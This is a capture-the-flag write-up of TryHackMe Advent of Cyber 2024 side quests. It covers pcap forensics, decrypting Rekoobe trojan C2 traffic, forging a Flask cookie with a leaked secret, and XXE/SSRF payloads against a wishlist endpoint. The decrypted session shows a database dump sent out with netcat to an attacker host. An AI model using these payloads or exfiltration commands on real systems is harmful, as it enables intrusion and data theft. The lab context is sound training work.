TryHackMe - Advent of Cyber '24 Side Quest
Explore a series of advanced challenges alongside the core Advent of Cyber event!
The Advent of Cyber 2024 is an event hosted by TryHackMe. While the annual Advent of Cyber is a fully guided event accessible to users of all skill levels in cyber security, the Advent of Cyber Side Quest is prepared for advanced users.
The Advent of Cyber 2024 Side Quest is a series of five challenges in which you’ll help Elf McSkidy recover access to the compromised servers and defeat the Frosty Five. These challenges will have no additional guidance and will range between “Hard” and “Insane” difficulty levels.
This write-up has been created while the event was on-going and no other write-ups were present. I only solved the first side-quest and found the key card for the second side-quest. I spend some time on it but due to time issues I didn’t finish any other side-quests unfortuantely.
Sidequest 1
Gaining access to the room
- The malware file from the first AOC challenge leads to this GitHub profile: https://github.com/MM-WarevilleTHM
- That user has made an issue in another repository: https://github.com/Bloatware-WarevilleTHM/CryptoWallet-Search/issues/1
- In that issue, they discussed with another GitHub account: https://github.com/Bloatware-WarevilleTHM
- That second GitHub account has a C2 repository containing hardcoded credentials:
app.secret_key = "@09JKD0934jd712?djD"
https://github.com/Bloatware-WarevilleTHM/C2-Server/blob/main/app.py - Those credentials don’t work on the side-quest zip:
1 2 3 4
$ unzip -P '@09JKD0934jd712?djD' aoc_sq_1.zip skipping: traffic.pcap incorrect password $ unzip -P 'securepassword' aoc_sq_1.zip skipping: traffic.pcap incorrect password
- Go to the first machine to port 8000 (as that’s where the C2 listens)
- add cookie with the secret we found earlier, access /data endpoint
python -m flask-unsign --sign --cookie "{'logged_in': True}" --secret '@09JKD0934jd712?djD'
- Found the keycard
- We can use the keycard code to unzip the first side-quest zip:
1 2 3 4
$ unzip -P 'vK5RMlvkGO3QiLU' aoc_sq_1.zip Archive: aoc_sq_1.zip replace traffic.pcap? [y]es, [n]o, [A]ll, [N]one, [r]ename: y inflating: traffic.pcap
L1: Operation Tiny Frostbite - Hard
We get a traffic.pcap file that we can analyse traffic and find the answer to a set of questions.
Reconaissance
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ tshark -r traffic.pcap -q -z io,phs
===================================================================
Protocol Hierarchy Statistics
Filter:
sll frames:158424 bytes:12985564
ip frames:158302 bytes:12973380
tcp frames:158290 bytes:12972678
ssh frames:2321 bytes:283933
http frames:2509 bytes:903508
data-text-lines frames:1242 bytes:674586
tcp.segments frames:3 bytes:1913
urlencoded-form frames:11 bytes:5375
tcp.segments frames:3 bytes:339
png frames:3 bytes:2252
tcp.segments frames:3 bytes:2252
data frames:2 bytes:1337
tcp.segments frames:2 bytes:1337
xml frames:1 bytes:595
mysql frames:4 bytes:534
tls frames:42 bytes:11522
data frames:143 bytes:19711
icmp frames:9 bytes:473
data frames:1 bytes:73
udp frames:3 bytes:229
data frames:1 bytes:45
ntp frames:2 bytes:184
arp frames:26 bytes:1144
ipv6 frames:96 bytes:11040
tcp frames:96 bytes:11040
http frames:24 bytes:4656
===================================================================
This command filters all HTTP POST requests in the PCAP file. We did this because POST requests are typically used to send form data, including usernames and passwords.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ tshark -r traffic.pcap -Y "http.request.method == POST" -T fields -e http.host -e http.request.uri -e frame.number
10.10.103.220 / 147677
10.10.103.220 /sdk 147708
10.10.103.220 / 147964
10.10.103.220 /admin/login.php 152478
10.10.103.220 /register.php 153213
10.10.103.220 /index.php 153274
10.10.103.220 /welcome.php 153354
127.0.0.1 /admin/login.php 153506
10.10.103.220 /index.php 153783
10.10.103.220 /welcome.php 154030
127.0.0.1 /admin/login.php 154120
10.13.44.207 /admin.html 154159
10.10.103.220 /admin/login.php 154354
What is the password the attacker used to register on the site?
The output listed all POST requests, including frame 153213, which targeted the /register.php endpoint—suggesting user registration activity.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
$ tshark -r traffic.pcap -Y "frame.number == 153213" -V
Frame 153213: 699 bytes on wire (5592 bits), 699 bytes captured (5592 bits) on interface any, id 0
Section number: 1
Interface id: 0 (any)
Interface name: any
Encapsulation type: Linux cooked-mode capture v1 (25)
Arrival Time: Nov 13, 2024 00:58:57.161211362 CET
UTC Arrival Time: Nov 12, 2024 23:58:57.161211362 UTC
Epoch Arrival Time: 1731455937.161211362
[Time shift for this packet: 0.000000000 seconds]
[Time delta from previous captured frame: 0.000340167 seconds]
[Time delta from previous displayed frame: 0.000000000 seconds]
[Time since reference or first frame: 168.641318735 seconds]
Frame Number: 153213
Frame Length: 699 bytes (5592 bits)
Capture Length: 699 bytes (5592 bits)
[Frame is marked: False]
[Frame is ignored: False]
[Protocols in frame: sll:ethertype:ip:tcp:http:urlencoded-form]
Linux cooked capture v1
...
...
...
[Timestamps]
[Time since first frame in this TCP stream: 0.218248300 seconds]
[Time since previous frame in this TCP stream: 0.000340167 seconds]
[SEQ/ACK analysis]
[iRTT: 0.217908133 seconds]
[Bytes in flight: 631]
[Bytes sent since last PSH flag: 631]
TCP payload (631 bytes)
Hypertext Transfer Protocol
POST /register.php HTTP/1.1\r\n
[Expert Info (Chat/Sequence): POST /register.php HTTP/1.1\r\n]
[POST /register.php HTTP/1.1\r\n]
[Severity level: Chat]
[Group: Sequence]
Request Method: POST
Request URI: /register.php
Request Version: HTTP/1.1
Host: 10.10.103.220\r\n
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Accept-Encoding: gzip, deflate\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 84\r\n
[Content length: 84]
Origin: http://10.10.103.220\r\n
DNT: 1\r\n
Connection: keep-alive\r\n
Referer: http://10.10.103.220/register.php\r\n
Cookie: PHPSESSID=d0t0ojpcpgun8bi4qts2v7begv\r\n
Cookie pair: PHPSESSID=d0t0ojpcpgun8bi4qts2v7begv
Upgrade-Insecure-Requests: 1\r\n
\r\n
[Full request URI: http://10.10.103.220/register.php]
[HTTP request 1/1]
File Data: 84 bytes
HTML Form URL Encoded: application/x-www-form-urlencoded
Form item: "username" = "frostyfox"
Key: username
Value: frostyfox
Form item: "password" = "QU9DMjAyNHtUaW55X1R"
Key: password
Value: QU9DMjAyNHtUaW55X1R
Form item: "confirm_password" = "QU9DMjAyNHtUaW55X1R"
Key: confirm_password
Value: QU9DMjAyNHtUaW55X1R
What is the password that the attacker captured?
We take a look at all the login frames.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
$ tshark -r traffic.pcap -Y "frame.number == 154354" -V
Frame 154354: 666 bytes on wire (5328 bits), 666 bytes captured (5328 bits) on interface any, id 0
Section number: 1
Interface id: 0 (any)
Interface name: any
Encapsulation type: Linux cooked-mode capture v1 (25)
Arrival Time: Nov 13, 2024 01:02:11.628537989 CET
UTC Arrival Time: Nov 13, 2024 00:02:11.628537989 UTC
Epoch Arrival Time: 1731456131.628537989
[Time shift for this packet: 0.000000000 seconds]
[Time delta from previous captured frame: 0.000364967 seconds]
[Time delta from previous displayed frame: 0.000000000 seconds]
[Time since reference or first frame: 363.108645362 seconds]
Frame Number: 154354
Frame Length: 666 bytes (5328 bits)
Capture Length: 666 bytes (5328 bits)
[Frame is marked: False]
[Frame is ignored: False]
[Protocols in frame: sll:ethertype:ip:tcp:http:urlencoded-form]
Linux cooked capture v1
...
...
..
[Timestamps]
[Time since first frame in this TCP stream: 0.211865125 seconds]
[Time since previous frame in this TCP stream: 0.000364967 seconds]
[SEQ/ACK analysis]
[iRTT: 0.211500158 seconds]
[Bytes in flight: 598]
[Bytes sent since last PSH flag: 598]
TCP payload (598 bytes)
Hypertext Transfer Protocol
POST /admin/login.php HTTP/1.1\r\n
[Expert Info (Chat/Sequence): POST /admin/login.php HTTP/1.1\r\n]
[POST /admin/login.php HTTP/1.1\r\n]
[Severity level: Chat]
[Group: Sequence]
Request Method: POST
Request URI: /admin/login.php
Request Version: HTTP/1.1
Host: 10.10.103.220\r\n
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Accept-Encoding: gzip, deflate\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 45\r\n
[Content length: 45]
Origin: http://10.10.103.220\r\n
DNT: 1\r\n
Connection: keep-alive\r\n
Referer: http://10.10.103.220/admin/login.php\r\n
Cookie: PHPSESSID=qkck5d72efnfvdmgn2amvr7ffo\r\n
Cookie pair: PHPSESSID=qkck5d72efnfvdmgn2amvr7ffo
Upgrade-Insecure-Requests: 1\r\n
\r\n
[Full request URI: http://10.10.103.220/admin/login.php]
[HTTP request 1/1]
File Data: 45 bytes
HTML Form URL Encoded: application/x-www-form-urlencoded
Form item: "username" = "mcskidy"
Key: username
Value: mcskidy
Form item: "password" = "pbnlfVGlueV9TaDNsbF"
Key: password
Value: pbnlfVGlueV9TaDNsbF
What is the password of the zip file transferred by the attacker?
We start off by looking for zip files (magic bytes: 50 4B 03 04
) in the traffic: tcp contains 50:4b:03:04
. We get a hit:
We can now right-click the data section and export it as a zip. The zip contains an SQL file but is password protected.
1
2
3
4
5
6
$ file output2.zip
output2.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
$ unzip output2.zip
Archive: output2.zip
[output2.zip] elves.sql password:
skipping: elves.sql incorrect password
When looking at other exportable objects we noticed a few interesting files:
1
2
$ file ff
ff: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=2ef4ab8c9a54b4f6e2d5656fab7dc8cf2718e27f, for GNU/Linux 3.2.0, stripped
When we upload the file to virustotal it states it being “trojan.rekoobe/r023c0dkk24”.
Running strings
on the file doesn’t provide much but when opening the file in Ghidra we find a hardcoded key. PTR_s_SuP3RSeCrEt_004e4148 = "SuP3RSeCrEt"
The secret is used in quite complex business logic.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
undefined4 FUN_004073a5(undefined4 param_1)
{
int iVar1;
undefined4 uVar2;
int local_1c [3];
iVar1 = FUN_00430870();
if (iVar1 < 0) {
FUN_004324a0(param_1);
uVar2 = 1;
}
else if (iVar1 == 0) {
iVar1 = FUN_00430870();
if (iVar1 < 0) {
uVar2 = 8;
}
else {
uVar2 = 9;
if (iVar1 == 0) {
FUN_00430680(3);
iVar1 = FUN_00402540(param_1,PTR_s_SuP3RSeCrEt_004e4148);
if (iVar1 == 1) {
FUN_00430680(0);
iVar1 = FUN_00402058(param_1,&DAT_004e7580,local_1c);
if ((iVar1 == 1) && (local_1c[0] == 1)) {
if (DAT_004e7580 == '\x02') {
uVar2 = FUN_00406e4c(param_1);
}
else if (DAT_004e7580 == '\x03') {
uVar2 = FUN_00406ef8(param_1);
}
else {
uVar2 = 0xc;
if (DAT_004e7580 == '\x01') {
uVar2 = FUN_00406da9(param_1);
}
}
FUN_004351b0(param_1,2);
}
else {
FUN_004351b0(param_1,2);
uVar2 = 0xb;
}
}
else {
FUN_004351b0(param_1,2);
uVar2 = 10;
}
}
}
}
else {
FUN_00432490(iVar1,0,0);
FUN_004324a0(param_1);
uVar2 = 1;
}
return uVar2;
}
When searching around for “rekoobe” we encounter this blogpost that explains how the communication works:
The following is a brief description of the most relevant steps in the authentication mechanism:
- The client will read a stream of 40-bytes from the server. This packet will be divided into two blocks of 20-bytes that will be utilized to initialize two AES128_HMAC_SHA1 contexts. The HMAC SHA1 pair will be generated against each of the 20-byte streams using a given shared secret (“idontknow” hardcoded string in newer variants) and they will be used as AES128 keys for encryption and decryption of future packets.
We have the secret key (SuP3RSeCrEt
).
We also know there is encrypted communication on port 9001 so potentially, we could use this information to create a decryption key to gain insight to what the attacker has sent to the C2.
On a high level the process would be:
- Get the first 40 bytes from the server (after the tcp handshake)
- split in two 20 bytes
- apply AES128_HMAC_SHA1 on each part with SuP3RSeCrEt as key which results in encrypt and decrypt key
Luckily, we don’t have to implement this from scratch as there is already a tool on github that does this for us.
We can set up this tool.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ git clone https://github.com/alexander-utkov/rekobee-analyzer
$ cd rekobee-analyzer
$ py -m pip install -r requirements.txt
$ python3 -m venv path/to/venv
$ source path/to/venv/bin/activate
$ pip install pyshark
$ pip install Crypto
$ python3 rekobee-analyzer/analyze.py -help
$ vi rekobee-analyzer/config.ini
$ cat rekobee-analyzer/config.ini
[tshark]
tshark_path = /usr/bin/tshark
[dumpcap]
dumpcap_path = /usr/bin/dumpcap
We can now decrypt the TCP communication with the C2 that was encrypted.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
$ python3 rekobee-analyzer/analyze.py -c traffic_9001.pcapng -s SuP3RSeCrEt -vv
[ ok ] Found the initial packet at 7.
[info] Participants:
• CNC: 10.13.44.207:42312
• Slave: 10.10.103.220:9001
[info] Initial packet payload (salts highlighted):
[data] 26 f3 21 ef d8 ee 63 7c 40 86 57 b6 fd 94 05 9e 33 19 1e 95 | & ó ! ï Ø î c | @ W ¶ ý 3
[0x14] 3a 41 61 1c b0 b4 b3 a0 f8 89 f6 79 61 61 20 96 1d 87 f6 83 | : A a ° ´ ³ ø ö y a a ö
[info] Encryption (from the client's point of view):
1) AES(key=d11851d2a0bc9f66a9627cb0e4b6d7e4, iv=3a41611cb0b4b3a0f889f67961612096) for sending;
2) AES(key=b2111707b9855c80935c9373f0537f4a, iv=26f321efd8ee637c408657b6fd94059e) for receiving.
[info] Advance to packet 9 (sent by master).
[info] The packet will be decrypted with #2 AES context.
[info] Packet header (and initial buffer):
[data] 00 10 58 90 ae 86 f1 b9 1c f6 29 83 95 71 1d de | X ® ñ ¹ ö ) q Þ
[info] Packet:
• size: 16;
• HMAC: e7731c5d3710808c37cc13f7d710d245dca8874c.
[info] Content:
...
...
...
→ root@database:/tmp# cat /var/www/html/config.php
→ <?php
→ /* Database credentials. Assuming you are running MySQL
→ server with default setting (user 'root' with no password) */
→ define('DB_SERVER', 'localhost');
→ define('DB_USERNAME', 'mcskidy');
→ define('DB_PASSWORD', 'aBT4ZfhteNRE3ah');
→ define('DB_NAME', 'website');
→
→ /* Attempt to connect to MySQL database */
→ $mysqli = new mysqli(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
→
→ // Check connection
→ if($mysqli === false){
→ die("ERROR: Could not connect. " . $mysqli->connect_error);
→ }
→ ?>
→
→ root@database:/tmp# mysql -h localhost -u mcskidy -p'aBT4ZfhteNRE3ah' -e 'show databases;'
→ mysql: [Warning] Using a password on the command line interface can be insecure.
→ +--------------------+
→ | Database |
→ +--------------------+
→ | elves |
→ | information_schema |
→ | website |
→ +--------------------+
→ root@database:/tmp# mysql -h localhost -D elves -u mcskidy -p'aBT4ZfhteNRE3ah' -e 'show tables;'
→ mysql: [Warning] Using a password on the command line interface can be insecure.
→ +-----------------+
→ | Tables_in_elves |
→ +-----------------+
→ | elf |
→ +-----------------+
→ root@database:/tmp# mysqldump -u mcskidy -p'aBT4ZfhteNRE3ah' elves elf > elves.sql
→ mysqldump: [Warning] Using a password on the command line interface can be insecure.
→ root@database:/tmp# zip -P 9jYW5fRW5jcnlwVF9iVXR elves.zip elves.sql
→ adding: elves.sql (deflated 58%)
→ root@database:/tmp# nc -w 3 10.13.44.207 9002 < elves.zip
→ root@database:/tmp# echo 'GG EZ McSkidy' > /home/mcskidy/haha.txt
→ root@database:/tmp#
[info] Done.
We can use the found password, from the decrypted communication, to unzip our found zip.
1
2
3
$ unzip -P 9jYW5fRW5jcnlwVF9iVXR packetzipfile.zip
Archive: packetzipfile.zip
inflating: elves.sql
What is McSkidy’s password that was inside the database file stolen by the attacker?
We can check the sql file in the zip as it contains the password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ cat elves.sql
-- MySQL dump 10.13 Distrib 8.0.28, for Linux (x86_64)
--
-- Host: localhost Database: elves
-- ------------------------------------------------------
-- Server version 8.0.28-0ubuntu0.20.04.3
--
-- Dumping data for table `elf`
--
LOCK TABLES `elf` WRITE;
/*!40000 ALTER TABLE `elf` DISABLE KEYS */;
INSERT INTO `elf` VALUES (1,'bloatware','$2a$04$RBmm/E9BYc0MGcOVIwKCoerMyFYvN.Uygv9/CAHrYT4qgJzIYNmaq','2024-11-12 22:59:26'),(2,'freeware','$2a$04$tYjkpRuiO4A.Hoyp.7Q2OuMjBdpT3Aoy4u6w6O19Xj4hksAuIjevm','2024-11-12 22:59:26'),(3,'firmware','$2a$04$BDsYzkVX8MDB/PNe2ZIoIuB7FhlKV0bOWkxZfznlFf4CMPMRgRIUS','2024-11-12 22:59:26'),(4,'hardware','$2a$04$IXOjpLJgcjnJVxW69u3aCO8ISfnMq/1VEeLBCGhKFHbLAzDAZ4F6m','2024-11-12 22:59:26'),(5,'mcskidy','faXRfSXNfTjB0X0YwMGxwcm8wZn0=','2024-11-12 22:59:26');
/*!40000 ALTER TABLE `elf` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2024-11-13 0:08:31
Sidequest 2
Gaining access to the room
In the XXE room in the main advent room, there is some extra reconaissance we can do. We can use the XXE vulnerability in the “/whishlist” endpoint to find the internal services that are running on the server by checking the contents of /proc/net/tcp
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /wishlist.php HTTP/1.1
Host: 10.10.210.178
Content-Length: 192
<!DOCTYPE wishlist [
<!ENTITY payload SYSTEM "/proc/net/tcp">
]>
<wishlist>
<user_id>1</user_id>
<item>
<product_id>&payload;</product_id>
</item>
</wishlist>
The response is hard to decipher.
1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
The product ID: sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 0100007F:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000 113 0 26745 1 0000000000000000 100 0 0 10 0
1: 0100007F:AD7D 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 25296 1 0000000000000000 100 0 0 10 0
2: 0100007F:8124 00000000:0000 0A 00000000:00000000 00:00000000 00000000 113 0 26699 1 0000000000000000 100 0 0 10 0
3: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 25966 1 0000000000000000 100 0 0 10 0
4: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000 101 0 19699 1 0000000000000000 100 0 0 10 0
5: 0100007F:1F90 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 24828 1 0000000000000000 100 0 0 10 0
6: B2D20A0A:E64A 3AE1DC43:01BB 02 00000001:00000000 01:00000418 00000004 0 0 29934 2 0000000000000000 1600 0 0 1 7
7: B2D20A0A:9FD0 29401FAC:01BB 01 00000000:00000000 02:00000144 00000000 0 0 28580 2 0000000000000000 20 4 8 10 24
is invalid.
We can convert the values into hex and get this table
Index | Local Address | Local Port | Remote Address | Remote Port | State | UID | Inode | Notes |
---|---|---|---|---|---|---|---|---|
0 | 127.0.0.1 | 3306 | 0.0.0.0 | 0 | LISTEN (0A) | 113 | 26745 | MySQL server listening on localhost. |
1 | 127.0.0.1 | 44445 | 0.0.0.0 | 0 | LISTEN (0A) | 0 | 25296 | Service listening on a high ephemeral port (possibly a local application). |
2 | 127.0.0.1 | 33060 | 0.0.0.0 | 0 | LISTEN (0A) | 113 | 26699 | MySQL X Protocol listening port. |
3 | 0.0.0.0 | 22 | 0.0.0.0 | 0 | LISTEN (0A) | 0 | 25966 | SSH server listening on all interfaces. |
4 | 127.53.0.0 | 53 | 0.0.0.0 | 0 | LISTEN (0A) | 101 | 19699 | Local DNS resolver (port 53). |
5 | 127.0.0.1 | 8080 | 0.0.0.0 | 0 | LISTEN (0A) | 0 | 24828 | Local web server listening on localhost. |
6 | 10.10.210.178 | 58954 | 67.220.225.58 | 443 | ESTABLISHED (02) | 0 | 29934 | Outgoing connection from the local system to an HTTPS service. |
7 | 10.10.210.178 | 40912 | 41.250.1.164 | 443 | SYN_SENT (01) | 0 | 28580 | Attempt to establish a connection to an HTTPS service, waiting for acknowledgment. |
We can tell there are internal services running on port 8080. We can perform an SSRF attack to see what service is running, by using the payload:
1
2
3
<!DOCTYPE wishlist [
<!ENTITY payload SYSTEM "http://127.0.0.1:8080">
]>
We get back an error message “Failed to parse XML” as the HTML breaks the XML encoding.
1
2
3
HTTP/1.1 200 OK
Failed to parse XML
We can base64 encode the content we receive to avoid breaking the XML.
1
2
3
4
5
6
7
8
9
10
11
POST /wishlist.php HTTP/1.1
<!DOCTYPE wishlist [
<!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:8080">
]>
<wishlist>
<user_id>1</user_id>
<item>
<product_id>&payload;</product_id>
</item>
</wishlist>
We get back a base64 encoded string:
1
PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDMuMiBGaW5hbC8vRU4iPgo8aHRtbD4KIDxoZWFkPgogIDx0aXRsZT5JbmRleCBvZiAvPC90aXRsZT4KIDwvaGVhZD4KIDxib2R5Pgo8aDE+SW5kZXggb2YgLzwvaDE+CiAgPHRhYmxlPgogICA8dHI+PHRoIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iL2ljb25zL2JsYW5rLmdpZiIgYWx0PSJbSUNPXSI+PC90aD48dGg+PGEgaHJlZj0iP0M9TjtPPUQiPk5hbWU8L2E+PC90aD48dGg+PGEgaHJlZj0iP0M9TTtPPUEiPkxhc3QgbW9kaWZpZWQ8L2E+PC90aD48dGg+PGEgaHJlZj0iP0M9UztPPUEiPlNpemU8L2E+PC90aD48dGg+PGEgaHJlZj0iP0M9RDtPPUEiPkRlc2NyaXB0aW9uPC9hPjwvdGg+PC90cj4KICAgPHRyPjx0aCBjb2xzcGFuPSI1Ij48aHI+PC90aD48L3RyPgo8dHI+PHRkIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iL2ljb25zL3Vua25vd24uZ2lmIiBhbHQ9IlsgICBdIj48L3RkPjx0ZD48YSBocmVmPSJhY2Nlc3MubG9nIj5hY2Nlc3MubG9nPC9hPjwvdGQ+PHRkIGFsaWduPSJyaWdodCI+MjAyNC0xMi0wMyAxMjo1MyAgPC90ZD48dGQgYWxpZ249InJpZ2h0Ij4yMjMgPC90ZD48dGQ+Jm5ic3A7PC90ZD48L3RyPgogICA8dHI+PHRoIGNvbHNwYW49IjUiPjxocj48L3RoPjwvdHI+CjwvdGFibGU+CjxhZGRyZXNzPkFwYWNoZS8yLjQuNDEgKFVidW50dSkgU2VydmVyIGF0IDEyNy4wLjAuMSBQb3J0IDgwODA8L2FkZHJlc3M+CjwvYm9keT48L2h0bWw+Cg==
This decodes to a html page that contains a reference to a file called “access.log”.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /</title>
</head>
<body>
<h1>Index of /</h1>
<table>
<tr>
<th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th>
<th><a href="?C=N;O=D">Name</a></th>
<th><a href="?C=M;O=A">Last modified</a></th>
<th><a href="?C=S;O=A">Size</a></th>
<th><a href="?C=D;O=A">Description</a></th>
</tr>
<tr>
<th colspan="5">
<hr>
</th>
</tr>
<tr>
<td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td>
<td><a href="access.log">access.log</a></td>
<td align="right">2024-12-03 12:53 </td>
<td align="right">223 </td>
<td> </td>
</tr>
<tr>
<th colspan="5">
<hr>
</th>
</tr>
</table>
<address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 8080</address>
</body>
</html>
Requesting the contents of the access log via the payload <!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:8080/access.log">
, provides us with a secret endpoint after decoding the received value.
1
10.13.27.113 - - [18/Nov/2024:14:43:35 +0000] "GET /k3yZZZZZZZZZ/t2_sm1L3_4nD_w4v3_boyS.png HTTP/1.1" 200 194 "http://10.10.218.19/product.php?id=1" "Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0"